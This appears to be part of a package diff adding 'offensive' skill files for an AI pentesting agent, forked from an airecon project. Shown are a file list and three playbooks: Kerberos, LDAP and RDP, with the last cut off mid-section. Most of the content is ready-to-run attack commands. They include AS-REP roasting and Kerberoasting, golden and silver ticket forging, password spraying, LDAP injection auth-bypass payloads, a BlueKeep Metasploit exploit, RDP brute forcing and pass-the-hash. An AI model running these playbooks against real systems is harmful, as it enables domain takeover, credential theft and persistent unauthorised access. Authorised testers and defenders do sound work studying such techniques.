- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,168 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: kerberos
|
|
5
|
+
description: Kerberos attack techniques — AS-REP Roasting, Kerberoasting, Pass-the-Ticket, Golden/Silver Ticket, Overpass-the-Hash using impacket and kerbrute in Kali Linux
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Kerberos Attacks
|
|
9
|
+
|
|
10
|
+
Kerberos = Windows/AD authentication protocol. Attack surface: AS-REP Roasting (no pre-auth), Kerberoasting (service tickets crackable offline), ticket forging (Golden/Silver), Pass-the-Ticket.
|
|
11
|
+
|
|
12
|
+
**Install:**
|
|
13
|
+
```
|
|
14
|
+
pip install impacket --break-system-packages
|
|
15
|
+
sudo apt-get install -y impacket-scripts krb5-user
|
|
16
|
+
# kerbrute: go install github.com/ropnop/kerbrute@latest
|
|
17
|
+
# OR: wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O /usr/local/bin/kerbrute && chmod +x /usr/local/bin/kerbrute
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
**Port:** 88/TCP+UDP (KDC), 464 (kpasswd)
|
|
21
|
+
|
|
22
|
+
---
|
|
23
|
+
|
|
24
|
+
## Reconnaissance
|
|
25
|
+
|
|
26
|
+
nmap -p 88 <dc_ip> -sV --open
|
|
27
|
+
# Kerberos on port 88 = Domain Controller
|
|
28
|
+
|
|
29
|
+
# Enumerate users (no credentials needed, if pre-auth disabled):
|
|
30
|
+
kerbrute userenum --dc <dc_ip> -d domain.local /usr/share/seclists/Usernames/top-usernames-shortlist.txt
|
|
31
|
+
kerbrute userenum --dc <dc_ip> -d domain.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
|
|
32
|
+
|
|
33
|
+
---
|
|
34
|
+
|
|
35
|
+
## AS-REP Roasting (No Pre-Auth Required)
|
|
36
|
+
|
|
37
|
+
Accounts with "Do not require Kerberos preauthentication" = hash crackable offline:
|
|
38
|
+
|
|
39
|
+
# With user list (no credentials):
|
|
40
|
+
GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -dc-ip <dc_ip>
|
|
41
|
+
GetNPUsers.py domain.local/ -usersfile users.txt -format john -dc-ip <dc_ip>
|
|
42
|
+
|
|
43
|
+
# With credentials (enumerate vulnerable accounts):
|
|
44
|
+
GetNPUsers.py domain.local/username:password -request -format hashcat -dc-ip <dc_ip>
|
|
45
|
+
GetNPUsers.py 'domain.local/' -usersfile users.txt -no-pass -dc-ip <dc_ip>
|
|
46
|
+
|
|
47
|
+
# Output: $krb5asrep$23$user@domain.local:... → crack with hashcat
|
|
48
|
+
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
|
|
49
|
+
john asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
## Kerberoasting (Service Account Ticket Cracking)
|
|
54
|
+
|
|
55
|
+
Any authenticated user can request TGS tickets for services → crack offline:
|
|
56
|
+
|
|
57
|
+
# With valid domain credentials:
|
|
58
|
+
GetUserSPNs.py domain.local/username:password -dc-ip <dc_ip> -request
|
|
59
|
+
GetUserSPNs.py domain.local/username:password -dc-ip <dc_ip> -request -outputfile kerberoast.txt
|
|
60
|
+
|
|
61
|
+
# With hash (PTH):
|
|
62
|
+
GetUserSPNs.py domain.local/username -hashes :<NTLM_hash> -dc-ip <dc_ip> -request
|
|
63
|
+
|
|
64
|
+
# Crack the TGS ticket:
|
|
65
|
+
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
|
|
66
|
+
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
|
|
67
|
+
john kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
|
68
|
+
|
|
69
|
+
---
|
|
70
|
+
|
|
71
|
+
## Pass-the-Ticket (PTT)
|
|
72
|
+
|
|
73
|
+
Use a stolen Kerberos ticket without knowing the password:
|
|
74
|
+
|
|
75
|
+
# Dump tickets on Windows machine (from Mimikatz or secretsdump):
|
|
76
|
+
# secretsdump.py can dump from LSASS
|
|
77
|
+
secretsdump.py domain/username:password@<target>
|
|
78
|
+
|
|
79
|
+
# Export ticket from ccache (Linux):
|
|
80
|
+
export KRB5CCNAME=/path/to/ticket.ccache
|
|
81
|
+
|
|
82
|
+
# Use with impacket tools:
|
|
83
|
+
wmiexec.py -k -no-pass domain.local/administrator@<target>
|
|
84
|
+
smbexec.py -k -no-pass domain.local/administrator@<target>
|
|
85
|
+
psexec.py -k -no-pass domain.local/administrator@<target>
|
|
86
|
+
|
|
87
|
+
---
|
|
88
|
+
|
|
89
|
+
## Overpass-the-Hash (Pass-the-Key)
|
|
90
|
+
|
|
91
|
+
Convert NTLM hash to Kerberos ticket:
|
|
92
|
+
|
|
93
|
+
# Get TGT using NTLM hash:
|
|
94
|
+
getTGT.py domain.local/username -hashes :<NTLM_hash> -dc-ip <dc_ip>
|
|
95
|
+
# Creates: username.ccache
|
|
96
|
+
|
|
97
|
+
export KRB5CCNAME=username.ccache
|
|
98
|
+
wmiexec.py -k -no-pass domain.local/username@<target>
|
|
99
|
+
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
## Golden Ticket Attack
|
|
103
|
+
|
|
104
|
+
Forge unlimited TGTs using krbtgt hash (requires DA privs to get krbtgt hash):
|
|
105
|
+
|
|
106
|
+
# Step 1: Get krbtgt NTLM hash (requires Domain Admin):
|
|
107
|
+
secretsdump.py domain/Administrator:password@<dc_ip>
|
|
108
|
+
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<krbtgt_NTLM_hash>:::
|
|
109
|
+
|
|
110
|
+
# Step 2: Get domain SID:
|
|
111
|
+
lookupsid.py domain/username:password@<dc_ip> | grep "Domain SID"
|
|
112
|
+
# S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX
|
|
113
|
+
|
|
114
|
+
# Step 3: Create golden ticket:
|
|
115
|
+
ticketer.py -nthash <krbtgt_NTLM> -domain-sid S-1-5-21-xxx -domain domain.local Administrator
|
|
116
|
+
# Creates: Administrator.ccache
|
|
117
|
+
|
|
118
|
+
# Step 4: Use ticket:
|
|
119
|
+
export KRB5CCNAME=Administrator.ccache
|
|
120
|
+
psexec.py -k -no-pass Administrator@<any_dc_or_machine>
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
## Silver Ticket Attack
|
|
125
|
+
|
|
126
|
+
Forge TGS for a specific service (doesn't need krbtgt — uses service account hash):
|
|
127
|
+
|
|
128
|
+
# Need: service account NTLM hash, domain SID, SPN
|
|
129
|
+
ticketer.py -nthash <service_NTLM> -domain-sid S-1-5-21-xxx -domain domain.local \
|
|
130
|
+
-spn cifs/<server>.domain.local Administrator
|
|
131
|
+
# Access specific service (CIFS = file share):
|
|
132
|
+
export KRB5CCNAME=Administrator.ccache
|
|
133
|
+
smbclient.py -k -no-pass //server.domain.local/C$
|
|
134
|
+
|
|
135
|
+
---
|
|
136
|
+
|
|
137
|
+
## Password Spraying via Kerberos
|
|
138
|
+
|
|
139
|
+
# kerbrute passwordspray — faster than LDAP, avoids some lockout policies:
|
|
140
|
+
kerbrute passwordspray --dc <dc_ip> -d domain.local users.txt 'Password123!'
|
|
141
|
+
kerbrute bruteuser --dc <dc_ip> -d domain.local -P /usr/share/wordlists/rockyou.txt username
|
|
142
|
+
|
|
143
|
+
---
|
|
144
|
+
|
|
145
|
+
## Kerberos Reconnaissance (No Creds)
|
|
146
|
+
|
|
147
|
+
# Find DC via DNS:
|
|
148
|
+
dig _ldap._tcp.dc._msdcs.domain.local SRV
|
|
149
|
+
dig _kerberos._tcp.domain.local SRV
|
|
150
|
+
|
|
151
|
+
# Enumerate with impacket (anonymous):
|
|
152
|
+
lookupsid.py domain.local/guest@<dc_ip> # SID enumeration
|
|
153
|
+
|
|
154
|
+
---
|
|
155
|
+
|
|
156
|
+
## Pro Tips
|
|
157
|
+
|
|
158
|
+
1. AS-REP Roasting needs NO credentials — just a user list → run `kerbrute userenum` first
|
|
159
|
+
2. Kerberoasting requires any valid domain account — service accounts with weak passwords = DA path
|
|
160
|
+
3. hashcat `-m 18200` = AS-REP, `-m 13100` = TGS/Kerberoast — don't mix them
|
|
161
|
+
4. Golden ticket = persistence for 10 years (default lifetime) even after password change
|
|
162
|
+
5. Silver ticket is stealthier than golden — only touches the target service, not the DC
|
|
163
|
+
6. `/etc/krb5.conf` must have correct realm and kdc for kerbrute/impacket to work on Linux
|
|
164
|
+
7. `GetUserSPNs.py` lists all SPNs first, then add `-request` to get crackable tickets
|
|
165
|
+
|
|
166
|
+
## Summary
|
|
167
|
+
|
|
168
|
+
Kerberos attacks: `kerbrute userenum` → `GetNPUsers.py` AS-REP (no creds) → `GetUserSPNs.py` Kerberoast (any domain user) → crack with `hashcat` → with DA: `secretsdump.py` krbtgt hash → `ticketer.py` Golden Ticket → persistent DC access. Most impactful AD attack path after initial foothold.
|
|
@@ -0,0 +1,245 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: ldap
|
|
5
|
+
description: LDAP security testing covering injection, anonymous bind, enumeration, LDAP-based auth bypass, and Active Directory LDAP attacks
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# LDAP Security Testing
|
|
9
|
+
|
|
10
|
+
LDAP (Lightweight Directory Access Protocol) is the backbone of enterprise authentication. Attack surface: anonymous bind, LDAP injection in login forms, user/group enumeration, and credential extraction via LDAP queries.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Discovery
|
|
17
|
+
|
|
18
|
+
# LDAP port discovery
|
|
19
|
+
nmap -p 389,636,3268,3269 <target> -sV --open
|
|
20
|
+
|
|
21
|
+
# Ports:
|
|
22
|
+
# 389 — LDAP (plaintext or STARTTLS)
|
|
23
|
+
# 636 — LDAPS (TLS)
|
|
24
|
+
# 3268 — Global Catalog (AD)
|
|
25
|
+
# 3269 — Global Catalog over TLS (AD)
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## Anonymous Bind
|
|
30
|
+
|
|
31
|
+
Anonymous bind allows querying without credentials:
|
|
32
|
+
|
|
33
|
+
# Test anonymous bind
|
|
34
|
+
ldapsearch -H ldap://<target>:389 -x -s base namingcontexts
|
|
35
|
+
ldapsearch -H ldap://<target>:389 -x -s base "(objectclass=*)"
|
|
36
|
+
|
|
37
|
+
# If anonymous bind succeeds, enumerate base DN:
|
|
38
|
+
ldapsearch -H ldap://<target>:389 -x -b "dc=example,dc=com" -s sub "(objectclass=*)"
|
|
39
|
+
|
|
40
|
+
# Enumerate users (anonymous):
|
|
41
|
+
ldapsearch -H ldap://<target>:389 -x -b "dc=example,dc=com" \
|
|
42
|
+
"(objectclass=person)" uid sAMAccountName mail userPrincipalName
|
|
43
|
+
|
|
44
|
+
# Enumerate groups:
|
|
45
|
+
ldapsearch -H ldap://<target>:389 -x -b "dc=example,dc=com" \
|
|
46
|
+
"(objectclass=group)" cn member
|
|
47
|
+
|
|
48
|
+
# Enumerate computers:
|
|
49
|
+
ldapsearch -H ldap://<target>:389 -x -b "dc=example,dc=com" \
|
|
50
|
+
"(objectclass=computer)" cn dNSHostName
|
|
51
|
+
|
|
52
|
+
# Get all attributes of a specific user:
|
|
53
|
+
ldapsearch -H ldap://<target>:389 -x -b "dc=example,dc=com" \
|
|
54
|
+
"(sAMAccountName=admin)" *
|
|
55
|
+
|
|
56
|
+
---
|
|
57
|
+
|
|
58
|
+
## Authenticated Enumeration
|
|
59
|
+
|
|
60
|
+
# Bind with credentials
|
|
61
|
+
ldapsearch -H ldap://<target>:389 -D "cn=user,dc=example,dc=com" -w "password" \
|
|
62
|
+
-b "dc=example,dc=com" -s sub "(objectclass=*)"
|
|
63
|
+
|
|
64
|
+
# Enumerate password policy
|
|
65
|
+
ldapsearch -H ldap://<target>:389 -D "user@domain.com" -w "pass" \
|
|
66
|
+
-b "dc=example,dc=com" -s sub "(objectclass=domain)" pwdHistoryLength minPwdLength lockoutThreshold
|
|
67
|
+
|
|
68
|
+
# Users with password never expires (high-value targets):
|
|
69
|
+
ldapsearch -H ldap://<target>:389 -D "user@domain.com" -w "pass" \
|
|
70
|
+
-b "dc=example,dc=com" \
|
|
71
|
+
"(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" \
|
|
72
|
+
sAMAccountName
|
|
73
|
+
|
|
74
|
+
# Users with no pre-auth (AS-REP roastable):
|
|
75
|
+
ldapsearch -H ldap://<target>:389 -D "user@domain.com" -w "pass" \
|
|
76
|
+
-b "dc=example,dc=com" \
|
|
77
|
+
"(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
|
|
78
|
+
sAMAccountName
|
|
79
|
+
|
|
80
|
+
# Kerberoastable users (SPN set):
|
|
81
|
+
ldapsearch -H ldap://<target>:389 -D "user@domain.com" -w "pass" \
|
|
82
|
+
-b "dc=example,dc=com" \
|
|
83
|
+
"(&(objectCategory=user)(servicePrincipalName=*))" \
|
|
84
|
+
sAMAccountName servicePrincipalName
|
|
85
|
+
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
## LDAP Injection
|
|
89
|
+
|
|
90
|
+
LDAP injection occurs when user input is embedded in LDAP filter strings without proper escaping.
|
|
91
|
+
|
|
92
|
+
### Authentication Bypass
|
|
93
|
+
|
|
94
|
+
Vulnerable login code (conceptually):
|
|
95
|
+
```
|
|
96
|
+
filter = "(&(uid=" + user + ")(userPassword=" + pass + "))"
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
# Classic bypass: inject closing parenthesis + wildcard
|
|
100
|
+
# Username: admin)(&
|
|
101
|
+
# Password: anything
|
|
102
|
+
# Resulting filter: (&(uid=admin)(&)(userPassword=anything))
|
|
103
|
+
# The (&) is always true, so auth succeeds
|
|
104
|
+
|
|
105
|
+
# Another bypass: wildcard username + true clause
|
|
106
|
+
# Username: *)(&
|
|
107
|
+
# Password: any
|
|
108
|
+
# Resulting filter: (&(uid=*)(&)(userPassword=any))
|
|
109
|
+
|
|
110
|
+
# NULL terminator injection (older LDAP implementations):
|
|
111
|
+
# Username: admin\00
|
|
112
|
+
|
|
113
|
+
### Information Disclosure via Boolean Injection
|
|
114
|
+
|
|
115
|
+
Extract data character by character using blind LDAP injection:
|
|
116
|
+
|
|
117
|
+
# Test if first character of admin password is 'a':
|
|
118
|
+
Username: admin)(userPassword=a*
|
|
119
|
+
# If auth succeeds → first char is 'a'
|
|
120
|
+
|
|
121
|
+
# Binary search to enumerate attribute values:
|
|
122
|
+
Username: *)(|(uid=a*)(uid=b*
|
|
123
|
+
Username: admin)(|(cn=a*)(cn=b*
|
|
124
|
+
|
|
125
|
+
### LDAP Filter Special Characters
|
|
126
|
+
|
|
127
|
+
Characters requiring escaping in LDAP: `* ( ) \ NUL`
|
|
128
|
+
|
|
129
|
+
# Injection probes:
|
|
130
|
+
*
|
|
131
|
+
*)(%00
|
|
132
|
+
*()|%26'
|
|
133
|
+
admin)(!(&(1=0)
|
|
134
|
+
)(cn=*))\00
|
|
135
|
+
|
|
136
|
+
---
|
|
137
|
+
|
|
138
|
+
## LDAP in Web Apps
|
|
139
|
+
|
|
140
|
+
### Common Injection Points
|
|
141
|
+
|
|
142
|
+
# Login forms with LDAP backend
|
|
143
|
+
POST /login
|
|
144
|
+
username=admin)(& &password=anything
|
|
145
|
+
|
|
146
|
+
# Search functions
|
|
147
|
+
GET /search?query=*)
|
|
148
|
+
GET /users?uid=*)
|
|
149
|
+
|
|
150
|
+
# Directory/lookup features
|
|
151
|
+
GET /lookup?cn=admin)(|(cn=*
|
|
152
|
+
|
|
153
|
+
### Testing with Payloads
|
|
154
|
+
|
|
155
|
+
# Basic injection test (star wildcard to match any):
|
|
156
|
+
username=*
|
|
157
|
+
username=*)
|
|
158
|
+
username=admin*
|
|
159
|
+
|
|
160
|
+
# Boolean-based blind injection:
|
|
161
|
+
username=admin)(|(description=a*)(description=b* # Enumerate attribute
|
|
162
|
+
username=admin)(cn=*)(&(uid=x # Always-true condition injection
|
|
163
|
+
|
|
164
|
+
# Error-based: malformed filters reveal LDAP errors
|
|
165
|
+
username=admin)(
|
|
166
|
+
username=)(
|
|
167
|
+
|
|
168
|
+
---
|
|
169
|
+
|
|
170
|
+
## LDAP Over Web Proxies
|
|
171
|
+
|
|
172
|
+
# If an app uses LDAP for auth and you can see error messages:
|
|
173
|
+
# Test for verbose error disclosure:
|
|
174
|
+
username=admin
|
|
175
|
+
password=wrong
|
|
176
|
+
# Error: "Invalid credentials 80090308: LdapErr: DSID-0C09044E" → Active Directory
|
|
177
|
+
# Error: "Invalid credentials" → OpenLDAP
|
|
178
|
+
|
|
179
|
+
# Error messages often reveal:
|
|
180
|
+
# - Domain structure (dc=...)
|
|
181
|
+
# - LDAP server type (AD vs OpenLDAP)
|
|
182
|
+
# - Attribute names
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## LDAP Password Extraction
|
|
187
|
+
|
|
188
|
+
# If verbose errors enabled or blind injection possible:
|
|
189
|
+
# Enumerate userPassword attribute (OpenLDAP, sometimes cleartext):
|
|
190
|
+
(&(uid=admin)(userPassword=*)) # Check if attribute exists
|
|
191
|
+
(&(uid=admin)(userPassword=a*)) # First char = 'a'?
|
|
192
|
+
|
|
193
|
+
# AD stores password hashes, not plaintext, but:
|
|
194
|
+
# unicodePwd attribute (hashed)
|
|
195
|
+
# msDS-PrincipalName, distinguishedName useful for Kerberoasting
|
|
196
|
+
|
|
197
|
+
---
|
|
198
|
+
|
|
199
|
+
## LDAP with Python (Automated Testing)
|
|
200
|
+
|
|
201
|
+
python3 -c "
|
|
202
|
+
import ldap3
|
|
203
|
+
server = ldap3.Server('ldap://<target>', get_info=ldap3.ALL)
|
|
204
|
+
conn = ldap3.Connection(server, auto_bind=True)
|
|
205
|
+
print(server.info)
|
|
206
|
+
conn.search('dc=example,dc=com', '(objectclass=person)', attributes=['*'])
|
|
207
|
+
for entry in conn.entries:
|
|
208
|
+
print(entry)
|
|
209
|
+
"
|
|
210
|
+
|
|
211
|
+
---
|
|
212
|
+
|
|
213
|
+
## Tools
|
|
214
|
+
|
|
215
|
+
# ldapsearch (OpenLDAP client)
|
|
216
|
+
ldapsearch -H ldap://<target> -x -b "" -s base +
|
|
217
|
+
|
|
218
|
+
# ldapenum
|
|
219
|
+
ldapenum -u user -p pass -d domain.com <dc_ip>
|
|
220
|
+
|
|
221
|
+
# enum4linux-ng
|
|
222
|
+
enum4linux-ng -A <target> -u user -p pass
|
|
223
|
+
|
|
224
|
+
# nmap LDAP scripts
|
|
225
|
+
nmap --script ldap-brute,ldap-rootdse,ldap-search <target> -p 389
|
|
226
|
+
|
|
227
|
+
# Metasploit
|
|
228
|
+
use auxiliary/gather/ldap_query
|
|
229
|
+
use auxiliary/scanner/ldap/ldap_login
|
|
230
|
+
|
|
231
|
+
---
|
|
232
|
+
|
|
233
|
+
## Pro Tips
|
|
234
|
+
|
|
235
|
+
1. Anonymous bind is the first test — many org LDAP servers allow it
|
|
236
|
+
2. LDAP injection `*)(&` bypasses auth on vulnerable apps more reliably than SQL injection
|
|
237
|
+
3. Wild card `*` in username field on LDAP-based login = auth bypass on misconfigured implementations
|
|
238
|
+
4. AD LDAP on port 3268 (Global Catalog) allows querying across all domains in forest
|
|
239
|
+
5. Error messages from LDAP auth failures reveal domain structure — always check verbose errors
|
|
240
|
+
6. Users with `userAccountControl=65536` (password never expires) = old service accounts, often weak passwords
|
|
241
|
+
7. LDAP query results from anonymous bind can include email, phone, manager, department — useful for social engineering
|
|
242
|
+
|
|
243
|
+
## Summary
|
|
244
|
+
|
|
245
|
+
LDAP testing = anonymous bind enumeration + LDAP injection in login forms + user/group discovery. Anonymous bind to Active Directory is surprisingly common and yields the full user directory. LDAP injection with `*)(&` bypasses authentication in apps that don't sanitize LDAP filters. Always test the login form with LDAP-specific payloads if the app is on an enterprise network.
|
|
@@ -0,0 +1,186 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: rdp
|
|
5
|
+
description: RDP security testing — BlueKeep CVE-2019-0708, DejaBlue, credential brute force, NLA bypass, session hijacking, and RDP-specific misconfiguration testing
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# RDP Security Testing
|
|
9
|
+
|
|
10
|
+
RDP (Remote Desktop Protocol) = Windows remote access. Attack surface: BlueKeep RCE (pre-auth), credential brute force, NLA misconfiguration, session hijacking, and pass-the-hash.
|
|
11
|
+
|
|
12
|
+
**Install:**
|
|
13
|
+
```
|
|
14
|
+
sudo apt-get install -y freerdp2-x11 xfreerdp rdesktop hydra crowbar ncrack
|
|
15
|
+
pip install rdp-sec-check --break-system-packages
|
|
16
|
+
# rdp-sec-check: git clone https://github.com/CiscoCXSecurity/rdp-sec-check /home/pentester/tools/rdp-sec-check
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
**Port:** 3389/TCP (default), sometimes 3390+ on non-standard
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Reconnaissance
|
|
24
|
+
|
|
25
|
+
nmap -p 3389 <target> -sV --open
|
|
26
|
+
nmap -p 3389 --script rdp-enum-encryption,rdp-vuln-ms12-020,rdp-enum-encryption <target>
|
|
27
|
+
|
|
28
|
+
# Security check:
|
|
29
|
+
python3 /home/pentester/tools/rdp-sec-check/rdp-sec-check.py <target>
|
|
30
|
+
# Shows: NLA required, encryption level, CredSSP version
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## CVE-2019-0708 — BlueKeep (Pre-Auth RCE)
|
|
35
|
+
|
|
36
|
+
Affects: Windows XP, Vista, 7, Server 2003/2008 — no authentication required:
|
|
37
|
+
|
|
38
|
+
# Check vulnerability:
|
|
39
|
+
nmap -p 3389 --script rdp-vuln-ms12-020 <target>
|
|
40
|
+
# Manual check:
|
|
41
|
+
python3 -c "
|
|
42
|
+
import socket, struct
|
|
43
|
+
# Send specially crafted packet to port 3389
|
|
44
|
+
# If response = DISCONNECT = likely vulnerable
|
|
45
|
+
"
|
|
46
|
+
|
|
47
|
+
# Metasploit:
|
|
48
|
+
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
|
|
49
|
+
set RHOSTS <target>
|
|
50
|
+
run
|
|
51
|
+
# If vulnerable:
|
|
52
|
+
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
|
|
53
|
+
set RHOSTS <target>
|
|
54
|
+
set TARGET 1 # Windows 7 SP1
|
|
55
|
+
set LHOST <attacker>
|
|
56
|
+
run
|
|
57
|
+
|
|
58
|
+
# Nuclei:
|
|
59
|
+
nuclei -t cves/2019/CVE-2019-0708.yaml -u <target>:3389
|
|
60
|
+
|
|
61
|
+
---
|
|
62
|
+
|
|
63
|
+
## CVE-2019-1181/1182 — DejaBlue
|
|
64
|
+
|
|
65
|
+
Affects Windows 7-10, Server 2008-2019 (patched Aug 2019):
|
|
66
|
+
|
|
67
|
+
# Check: patch Tuesday Aug 2019 applied?
|
|
68
|
+
# Metasploit module: exploit/windows/rdp/cve_2019_1181_dejavue (check availability)
|
|
69
|
+
|
|
70
|
+
---
|
|
71
|
+
|
|
72
|
+
## Credential Brute Force
|
|
73
|
+
|
|
74
|
+
# hydra:
|
|
75
|
+
hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://<target>
|
|
76
|
+
hydra -L users.txt -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt \
|
|
77
|
+
rdp://<target> -t 1 -W 3 # Low threads, delay to avoid lockout
|
|
78
|
+
|
|
79
|
+
# crowbar (multi-threaded, NLA-aware):
|
|
80
|
+
crowbar -b rdp -s <target>/32 -u administrator -C /usr/share/wordlists/rockyou.txt
|
|
81
|
+
crowbar -b rdp -s <target>/32 -U users.txt -C passwords.txt
|
|
82
|
+
|
|
83
|
+
# ncrack:
|
|
84
|
+
ncrack -vv --user administrator -P /usr/share/wordlists/rockyou.txt rdp://<target>
|
|
85
|
+
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
## NLA (Network Level Authentication)
|
|
89
|
+
|
|
90
|
+
NLA = requires authentication before RDP session starts (more secure).
|
|
91
|
+
|
|
92
|
+
# Check if NLA required:
|
|
93
|
+
nmap -p 3389 --script rdp-enum-encryption <target>
|
|
94
|
+
# "Security: NLA" = NLA enabled
|
|
95
|
+
|
|
96
|
+
# Connect without NLA (if NLA disabled):
|
|
97
|
+
xfreerdp /v:<target> /u:administrator /p:password
|
|
98
|
+
# With NLA disabled: rdesktop <target>
|
|
99
|
+
|
|
100
|
+
# NLA bypass — not generally possible; focus on cred attacks
|
|
101
|
+
# Exception: CVE-2019-0708 bypasses NLA entirely
|
|
102
|
+
|
|
103
|
+
---
|
|
104
|
+
|
|
105
|
+
## Connecting via CLI (xfreerdp)
|
|
106
|
+
|
|
107
|
+
# Basic connection:
|
|
108
|
+
xfreerdp /v:<target> /u:username /p:password /cert:ignore
|
|
109
|
+
|
|
110
|
+
# With domain:
|
|
111
|
+
xfreerdp /v:<target> /u:domain\\username /p:password /cert:ignore
|
|
112
|
+
|
|
113
|
+
# Pass-the-Hash (PTH) with xfreerdp:
|
|
114
|
+
xfreerdp /v:<target> /u:administrator /pth:<NTLM_hash> /cert:ignore
|
|
115
|
+
|
|
116
|
